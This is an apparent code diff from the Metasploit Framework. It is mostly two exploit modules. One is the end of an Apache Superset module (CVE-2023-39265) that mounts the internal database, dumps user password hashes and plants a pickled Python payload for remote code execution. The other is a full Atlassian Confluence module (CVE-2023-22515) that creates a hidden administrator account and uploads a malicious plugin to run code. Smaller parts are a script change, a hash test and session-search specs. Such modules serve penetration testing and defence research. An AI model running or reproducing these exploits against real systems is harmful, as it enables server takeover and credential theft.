# example output: $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5
# needs transform to: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
# to get there: salt: base64, remove =, sub '+' for '.'
# python code: base64.b64encode(b'CXsb59tSLZm9ABBN').decode('utf8').replace('=','').replace('+','.')
# python output: Q1hzYjU5dFNMWm05QUJCTg
# to get there: hash: unhex, base64, remove =, sub '+' for '.'
# python code: base64.b64encode(binascii.unhexlify(b'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5')).decode('utf8').replace('=','').replace('+','.')
# python output: s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
header = hash.split('$')[0] # contains algorithm, iterations
header = header.sub('pbkdf2:sha256:', '$pbkdf2-sha256$')
salt = hash.split('$')[1]
salt = Base64.strict_encode64(salt).delete('=').tr('+', '.')
hash = hash.split('$')[2]
hash = Base64.strict_encode64([hash].pack('H*')).delete('=').tr('+', '.')
jtr_password = [header, salt, hash].join('$')
jtr_password
end
def mount_internal_database
# use cve-2023-39265 bypass to mount superset's internal sqlite db
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'engine' => 'sqlite',
'configuration_method' => 'sqlalchemy_form',
'catalog' => [{ 'name' => '', 'value' => '' }],
'sqlalchemy_uri' => "sqlite+pysqlite:///#{datastore['DATABASE']}",
'expose_in_sqllab' => true,
'database_name' => Rex::Text.rand_text_alphanumeric(6, 12),
'allow_ctas' => true,
'allow_cvas' => true,
'allow_dml' => true,
'allow_multi_schema_metadata_fetch' => true,
'extra_json' => {
'cost_estimate_enabled' => true,
'allows_virtual_table_explore' => true
},
'extra' => {
'cost_estimate_enabled' => true,
'allows_virtual_table_explore' => true,
'metadata_params' => {},
'engine_params' => {},
'schemas_allowed_for_file_upload' => []
}.to_json
}.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to mount the internal database: #{datastore['DATABASE']}") if res.code == 422
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201
j = res.get_json_document
@db_id = j['id']
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @db_id.nil?
print_good("Successfully created db mapping with id: #{@db_id}")
# create new query tab
vprint_status('Creating new sqllab tab')
data = Rex::MIME::Message.new
data.add_part('{"title":"' + Rex::Text.rand_text_alphanumeric(6, 12) + '","dbId":' + @db_id.to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}', nil, nil, 'form-data; name="queryEditor"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tabstateview/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => data.to_s
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
j = res.get_json_document
@tab_id = j['id']
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @tab_id.nil?
print_good("Using tab: #{@tab_id}")
# tell it we're about to submit a new query
set_query_latest_query_id
# harvest creds
vprint_status('Harvesting superset user creds')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => 'SELECT username,password from ab_user;',
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
'select_as_cta' => false,
'ctas_method' => 'TABLE',
'queryLimit' => 1000,
'expand_data' => true
}.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
creds_table = Rex::Text::Table.new(
'Header' => 'Superset Creds',
'Indent' => 2,
'Columns' =>
[
'Username',
'Password'
]
)
j = res.get_json_document
j['data'].each do |cred|
jtr_password = transform_hash(cred['password'])
creds_table << [cred['username'], jtr_password]
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: cred['username'],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(jtr_password),
private_data: jtr_password,
service_name: 'Apache Superset',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
end
print_good(creds_table.to_s)
end
def rce_implant
# create new dashboard
vprint_status('Creating new dashboard')
res = send_request_cgi(
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'uri' => normalize_uri(target_uri.path, 'dashboard', 'new/')
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302
res.headers['location'] =~ %r{dashboard/(\d+)/}
@dashboard_id = Regexp.last_match(1)
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to detect dashboard ID from location header: #{res.headers['location']}") if @dashboard_id.nil?
print_good("New Dashboard id: #{@dashboard_id}")
# get permalink so we can trigger it later for payload execution
vprint_status('Grabbing permalink to new dashboard to trigger payload later')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id, 'permalink'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
filterState: {},
urlParams: []
}.to_json
)
permalink_key = res.get_json_document['key']
print_good("Dashboard permalink key: #{permalink_key}")
# grab the default values so we can unset them later
vprint_status('Grabbing values to reset later')
set_query_latest_query_id
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';",
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
'select_as_cta' => false,
'ctas_method' => 'TABLE',
'queryLimit' => 1000,
'expand_data' => true
}.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
# in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV
# output to grab the correct values.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id),
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
@values_to_reset = CSV.parse(res.body)
# tell it we're about to submit a new query
set_query_latest_query_id
pickled = Rex::Text.to_hex(Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded))
pickled = pickled.gsub('\x', '') # we only need a beginning \x not every character for this format
vprint_status('Uploading payload')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
'select_as_cta' => false,
'ctas_method' => 'TABLE',
'queryLimit' => 1000,
'expand_data' => true
}.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
print_status('Triggering payload')
res = send_request_cgi(
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/')
)
# we go through some permalink hell here
until res.nil? || res.headers['Location'].nil?
res = send_request_cgi(
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'uri' => res.headers['Location']
)
end
# 404 error and we win.
# log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1"
end
def exploit
@db_id = nil
@csrf_token = nil
@tab_id = nil
@dashboard_id = nil
vprint_status('Attempting login')
login_and_priv_esc
vprint_status('Attempting to pull user creds from db')
mount_internal_database
vprint_status('Attempting RCE')
rce_implant
end
def cleanup
super
# We didn't know the previous values, so just blank out XXX
unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?)
print_status('Unsetting RCE Payloads')
@values_to_reset.each do |row|
next if row[0] == 'id' # headers
vprint_status("Restoring row ID #{row[0]}")
set_query_latest_query_id
is_binary = false
if (row[1].starts_with?("b'") && row[1].ends_with?("'"))
row[1] = row[1][2..-2] # remove encoding and substring marks
row[1] = Rex::Text.to_hex(row[1])
row[1] = row[1].gsub('\x', '') # we only need a beginning \x not every character for this format
is_binary = true
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
'method' => 'POST',
'cookie' => "session=#{@admin_cookie};",
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
},
'data' => {
'client_id' => @client_id,
'database_id' => @db_id,
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => "UPDATE key_value set value=#{is_binary ? 'X' : ''}'#{row[1]}' where id='#{row[0]}';",
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
'select_as_cta' => false,
'ctas_method' => 'TABLE',
'queryLimit' => 1000,
'expand_data' => true
}.to_json
)
if res && res.code == 200
vprint_good('Successfully restored')
else
vprint_bad("Unable to reset value: #{row[1]}")
end
end
end
# delete dashboard
unless @dashboard_id.nil?
print_status('Deleting dashboard')
send_request_cgi(
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id),
'method' => 'DELETE',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
}
)
end
# delete sqllab tab
unless @tab_id.nil?
print_status('Deleting sqllab tab')
send_request_cgi(
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),
'method' => 'DELETE',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
}
)
end
# delete mapping to stock database
unless @db_id.nil?
print_status('Deleting database mapping')
send_request_cgi(
'keep_cookies' => true,
'cookie' => "session=#{@admin_cookie};",
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', @db_id),
'method' => 'DELETE',
'headers' => {
'Accept' => 'application/json',
'X-CSRFToken' => @csrf_token
}
)
end
end
end
@@ -0,0 +1,327 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Retry
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
],
'DisclosureDate' => '2023-10-04',
'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.
'Targets' => [
[
'Automatic',
{
'Platform' => 'java',
'Arch' => [ARCH_JAVA]
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
# Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# By default Confluence listens for HTTP requests on TCP port 8090.
Opt::RPORT(8090),
# Confluence may have a non default base path, allow user to configure that here.
OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),
# The endpoint we target to trigger the vulnerability.
OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
)
return CheckCode::Unknown('Connection failed') unless res
# Ensure target is a Confluence server by identifying an expected HTTP header.
return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'
if res.code == 200 && res.body
# Pull out the version string from one of three known locations within the HTML.
m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)
if m.nil?
m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)
if m.nil?
m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)
end
end
unless m.nil?
version = Rex::Version.new(m[1])
ranges = [
['8.0.0', '8.3.2'],
['8.4.0', '8.4.2'],
['8.5.0', '8.5.1']
]
# If we have a Confluence server within the given version ranges, it appears vulnerable.
ranges.each do |min, max|
if version.between?(Rex::Version.new(min), Rex::Version.new(max))
return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")
end
end
# By here we know we have a confluence server, but the version found indicates it is safe.
return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")
end
end
# By here we have identified a Confluence server, but could not get the version number to determine if it is
# vulnerable of not.
CheckCode::Detected
end
def exploit
target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")
# 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.
res = send_request_cgi(
'method' => 'POST',
'uri' => target_endpoint,
'vars_post' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)
unless res&.code == 302 || res&.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")
end
print_status('Creating a new administrator user account...')
# usernames must be lowercase
admin_username = rand_text_alpha_lower(8)
admin_password = rand_text_alphanumeric(8)
# 2. Create a new administrator user account.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => admin_username,
'fullName' => rand_text_alphanumeric(8),
# The email address does not need to be a valid address, but it must contain an @ character.
'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",
'password' => admin_password,
'confirm' => admin_password,
'setup-next-button' => 'Next'
}
)
unless res&.code == 302 || res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')
end
print_status("Created #{admin_username}:#{admin_password}")
# 3. Force the setup to become completed, to allow normal Confluence operations to continue.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')
end
print_status('Adding a malicious plugin...')
# 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.
res = send_request_cgi(
'method' => 'GET',
# Note, we concatenate '/' as this is required by the endpoint.
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Accept' => '*/*'
},
'vars_get' => {
'os_authType' => 'basic'
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')
end
upm_token = res.headers['upm-token']
unless upm_token
fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')
end
begin
payload_endpoint = rand_text_alphanumeric(8)
plugin_key = rand_text_alpha(8)
# 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
# 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
jar = payload.encoded_jar(random: true)
jar.add_file(
'atlassian-plugin.xml',
%(
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
<plugin-info>
<description>#{rand_text_alphanumeric(8)}</description>
<version>#{rand(1024)}.#{rand(1024)}</version>
</plugin-info>
<servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
</servlet>
</atlassian-plugin>)
)
jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))
message = Rex::MIME::Message.new
message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")
# 6. Upload the malicious plugin.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Accept' => '*/*'
},
'vars_get' => {
'token' => upm_token
},
'data' => message.to_s
)
unless res&.code == 202
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
end
unless res.body =~ %r{<textarea>(.+)</textarea>}
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
end
begin
plugin_json = JSON.parse(::Regexp.last_match(1))
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
end
# We receive a JSON object like this:
# <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>
links_alternate = plugin_json&.dig('links', 'alternate')
if links_alternate.nil?
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
end
print_status('Waiting for plugin to be installed...')
# 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.
plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, links_alternate)
)
# We receive a JSON result to indicate if the plugin is finished installing.
# {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}
if res&.code == 200
begin
res_json = JSON.parse(res.body)
next res_json['done']
rescue JSON::ParserError
next false
end
end
false
end
unless plugin_ready
fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
end
print_status('Triggering payload...')
# 8. Trigger the payload by performing a request to the malicious servlet endpoint.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
)
unless res&.code == 200
fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
end
ensure
print_status('Deleting plugin...')
# 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
# Confluence doesnt allow a user to delete themself.
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Connection' => 'close'
}
)
unless res&.code == 204
print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
end
end
end
end
+1 -1
View File
@@ -10,7 +10,7 @@ begin
# Silences warnings as they only serve to confuse end users
if defined?(Warning) && Warning.respond_to?(:[]=)
Warning[:deprecated] = false
Warning[:deprecated] = false unless ENV['CI']
end
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
+3 -16
View File
@@ -673,7 +673,7 @@ def persist_data_service
end
def clear_default_data_service
puts 'Clearing http web data service credentials in msfconsole'
puts 'Verifying msfconsole data service'
# execute msfconsole commands to clear the default data service connection
cmd = "db_disconnect --clear; exit"
run_msfconsole_command(cmd)
@@ -996,23 +996,10 @@ def prompt_for_component(command)
end
def prompt_for_deletion(command)
destructive_operations = [:init, :reinit, :delete]
destructive_operations = [:reinit, :delete]
if destructive_operations.include? command
if command == :init
return if web_service_pid_status != WebServicePIDStatus::NO_PID_FILE
if (@options[:component] == :all || @options[:component] == :webservice) && should_generate_web_service_ssl &&
(File.file?(@options[:ssl_key]) || File.file?(@options[:ssl_cert]))
@options[:delete_existing_data] = should_delete
return
end
if (@options[:component] == :all || @options[:component] == :database) && File.exist?(@db_conf)
@options[:delete_existing_data] = should_delete
return
end
else
@options[:delete_existing_data] = should_delete
end
@options[:delete_existing_data] = should_delete
end
end
@@ -314,6 +314,13 @@ RSpec.describe Metasploit::Framework::Hashes do
end
end
describe 'identify_pbkdf2-sha256' do
it 'returns pbkdf2-sha256' do
hash = described_class.identify_hash('$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU')
expect(hash).to match('pbkdf2-sha256')
end
end
describe 'identify_empty_string' do
it 'returns empty string' do
hash = described_class.identify_hash('')
@@ -397,4 +397,375 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do
end
end
end
describe '#cmd_sessions' do
before(:each) do
allow(driver).to receive(:active_session=)
allow(framework).to receive(:sessions).and_return(sessions)
end
context 'with no sessions' do
let(:sessions) { [] }
it 'When the user does not enter a search term' do
core.cmd_sessions
expect(@combined_output.join("\n")).to match_table <<~TABLE
Active sessions
===============
No active sessions.
TABLE
end
it 'When the user searches for a session' do
core.cmd_sessions('--search', 'session_id:1')
expect(@combined_output.join("\n")).to match_table <<~TABLE
No matching sessions.
TABLE
end
end
context 'with sessions' do
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'sesh1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user searches for an invalid field' do
core.cmd_sessions('--search', 'not_a_term:1')
expect(@combined_output.join("\n")).to match_table <<~TABLE
Please provide valid search term. Given: not_a_term
TABLE
end
end
context 'searching for sessions with different ids' do
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user searches for a specific id' do
core.cmd_sessions('--search', 'session_id:1')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 session1 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user searches for a session id that does not exist' do
core.cmd_sessions('--search', 'session_id:6')
expect(@combined_output.join("\n")).to match_table <<~TABLE
No matching sessions.
TABLE
end
it 'When the user searches for multiple ids' do
core.cmd_sessions('--search', 'session_id:2 session_id:1')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 session1 meterpreter info tunnel (127.0.0.1)
2 session2 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user searches for multiple ids and only some match' do
core.cmd_sessions('--search', 'session_id:2 session_id:6')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
TABLE
end
end
context 'searches with sessions with different session types' do
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'cmd_shell', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'java', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'returns session match by type' do
core.cmd_sessions('--search', 'session_type:meterpreter')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'filters by multiple session types' do
core.cmd_sessions('--search', 'session_type:meterpreter session_type:java')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
3 session3 java info tunnel (127.0.0.1)
TABLE
end
end
context 'searches with sessions with different checkin values' do
before(:all) do
Timecop.freeze(Time.parse('Dec 18, 2022 12:33:40.000000000 GMT'))
end
after(:all) do
Timecop.return
end
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 90), type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 20000), type: 'meterpreter', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user searches using fractions of a second' do
core.cmd_sessions('--search', 'last_checkin:less_than:100.5s')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 session1 meterpreter info tunnel (127.0.0.1)
2 session2 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user searches using multiple units with fractional seconds' do
core.cmd_sessions('--search', 'last_checkin:less_than:1m40.5s')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 session1 meterpreter info tunnel (127.0.0.1)
2 session2 meterpreter info tunnel (127.0.0.1)
